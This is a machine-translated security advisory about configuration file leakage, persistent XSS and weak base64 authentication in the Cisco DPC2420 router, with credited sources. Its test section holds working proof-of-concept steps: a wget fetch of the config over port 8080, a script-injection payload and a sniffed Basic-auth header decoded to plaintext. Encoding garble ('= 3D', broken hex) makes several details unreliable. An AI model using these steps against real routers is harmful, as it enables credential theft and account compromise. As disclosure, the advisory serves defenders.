Cisco DPC2420 module configuration file leakage/persistent XSS/Weak Authentication Encryption Vulnerability

Release date:
Updated on:

Affected Systems:
Cisco DPC2420 D2425-P10-13-v202r12811-110511
Cisco DPC2420
Description:
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Bugtraq id: 56868

Cisco DPC2420 is a wireless router product.

The implementation of Cisco DPC2420 has the configuration file leakage/persistent XSS/Weak Authentication Encryption vulnerability. After successful exploitation, attackers can execute arbitrary HTML and script code in the affected browser.

1) Some ISPs modify the vro configuration through TCP port 8080. If the remote configuration option is enabled and the port is not filtered, remote attackers can obtain the configuration file information.

2) attackers can insert arbitrary JS Code through effective Web interface management and configuration permissions, resulting in sustained XSS.

3) Through ARP pollution attacks, attackers can obtain the vro logon credential through the Web interface, and then convert the Base64 encoded password to a plaintext.

<* Source: Facundo M. de la Cruz (fmdlc@code4life.com.ar)

Link: http://packetstormsecurity.org/files/118711/CISCO-DPC2420-vulnerabilities.txt
Http://seclists.org/fulldisclosure/2012/Dec/106? Utm_source = twitterfeed & utm_medium = twitter
Http://www.exploit-db.com/exploits/23250/
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

1) configuration file Leakage
$ Wget http: // foobar: 8080/filename. gwc-O filename. gwc = 20
--- 21:24:43 -- http: // foobar: 8080/filename. gwc
Connecting to foobar: 8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/octet-stream Content-transfer-encoding: bi =
Nary]
Saving to: = E2 = 80 = 9Cfilename. gwc = E2 = 80 = 9D

[<= 3D>] 15, =
927 50.9 K/s in 0.3 s = 20

21:24:43 (50.9 KB/s)-= E2 = 80 = 9Cfilename. gwc = E2 = 80 = 9D saved [159 =
27]

$ Head-n 10 filename. gwc = 20
CRCVALUE = 3D4144540802;
# <Begin of Configuration File>
Version = 3D1. 1;
Created Date = 3d2013/12/8;
Created Time = 3D21: 24: 43;
Model Number = 3DDPC2420;
Serial Number = 3D234905123;
User Password = 3Dky3gUCBmdwbaviPW5GxMZ8vdgzHjvS3wKfdF2Lhbdwq + S6qn + 1fvgs54YBw =
L0jX2glgaQuXx27Eo3FgAz5E1N7bk9yR
7 hDbzGS + y7XY4jJjY5yin5SkqAQp9GJl/sZO4t4D7TJzy2oV43flEwmdIPkyJC74zTOYZhb24UL =
Jz3hv6ci5wn1_mpi0rstkuc3pzhdik
WMMAsuMrYBi5MU9yqZ1vhCfC/c2Is1xgU1Kq0Y1Wcn2LdmRFU6 + 7rjRuN6iisAQZRQcF/kiym5V =
EwYRBbnRNKjMXC0fw + M9y4V7Y8S4B6
3XuEwcq3OPUSLWKaA6yPDN5e5ZNxwJJuxldirDXBg = 3D = 3D;

2) continuous XSS
Users who successfully access the Router Web management and configuration interface can insert JS Code into the page to create XSS.
For example, add a rule to http: // 192.168.0.1/RgParentalBasic. asp on the page:
"'/> <Script> alert (1 </script>.

See: http://tty0.code4life.com.ar/CISCO-DPC2420-XSS.png

3) Weak Authentication Encryption

20:58:47. 879985 IP 172.16.1.242.34464> 192.168.0.1.http: Flags [P.], seq 0 =
: 372, ack 1, win 115

0x0000: 4500 01a8 fdf4 4000 4006 ccaf ac10 01f2 E .....@.@.......
0x0010: c0a8 0001 86a0 0050 e4cf 13e5 76c7 819e ...... P ...... v...
0x0020: 8018 0073 03c2 0000 0101 080a 055f ee19 ...... s ........._..
0x0030: 0000 be7e 4745 5420 2f73 6967 6e61 6c2e ...~ GET./signal.
0x0040: 6173 7020 4854 5450 2f31 2e31 0d0a 486f asp. HTTP/1. 1 .. Ho
0x0050: 7374 3a20 3139 322e 3136 382e 302e 310d st:. 192.168.0.1.
0x0060: 0a55 7365 722d 4167 656e 743a 204d 6f7a. User-Agent:. Moz
0x0070: 696c 6c61 2f35 2e30 2028 5831 313b 204c illa/5.0. (X11;. L
0x0080: 696e 7578 2078 3836 5f36 343b 2072 763a inux. x86_64;. rv:
0x0090: 3136 2e30 2920 4765 636b 6f2f 3230 3130 16.0). Gecko/2010
0x00a0: 3031 3031 2046 6972 6566 6f78 2f31 362e 0101. Firefox/16.
0x00b0: 300d 0a41 6363 6570 743a 2074 6578 742f 0 .. Accept:. text/
0x00c0: 6874 6d6c 2c61 7070 6c69 6361 7469 6f6e html, application
0x00d0: 2f78 6874 6d6c 2b78 6d6c 2c61 7070 6c69/xhtml + xml, appli
0x00e0: 6361 7469 6f6e 2f78 6d6c 3b71 3d30 2e39 cation/xml; q = 3D0. =
9
0x00f0: 2c2a 2f2a 3b71 3d30 2e38 0d0a 4163 6365, */*; q = 3D0. 8... Acc =
E
0x0100: 7074 2d4c 616e 6775 6167 653a 2065 6e2d pt-Language:. en-
0x0110: 5553 2c65 6e3b 713d 302e 350d 0a41 6363 US, en; q = 3D0. 5 .. Ac =
C
0x0120: 6570 742d 456e 636f 6469 6e67 3a20 677a ept-Encoding:. gz
0x0130: 6970 2c20 6465 666c 6174 127d 0a43 6f6e ip,. deflate... Con
0x0140: 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:. keep-al
0x0150: 6976 running D 0a52 6566 6572 6572 3a20 6874 ive .. Referer:. ht
0x0160: 7470 3a2f 2f31 3932 2e31 3638 2e30 2e31 tp: // 192.168.0.1
0x0170: 2f77 6562 7374 6172 2e68 746d 6c0d 0a41/webstar.html ..
0x0180: 7574 686f 7269 7a61 7469 6f6e 3a20 4261 uthorization:. Ba
0x0190: 7369 6320 4f6b 4d30 626d fa38 3443 a9c0 sic. aWFtYXBhc3N3
0x01a0: 1b4e 1134 640a 054b

$ Echo aWFtYXBhc3N3ZAo = 3D = 3D | base64-d
Iamapassword

Suggestion:
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Vendor patch:

Cisco
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Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.cisco.com/warp/public/707/advisory.html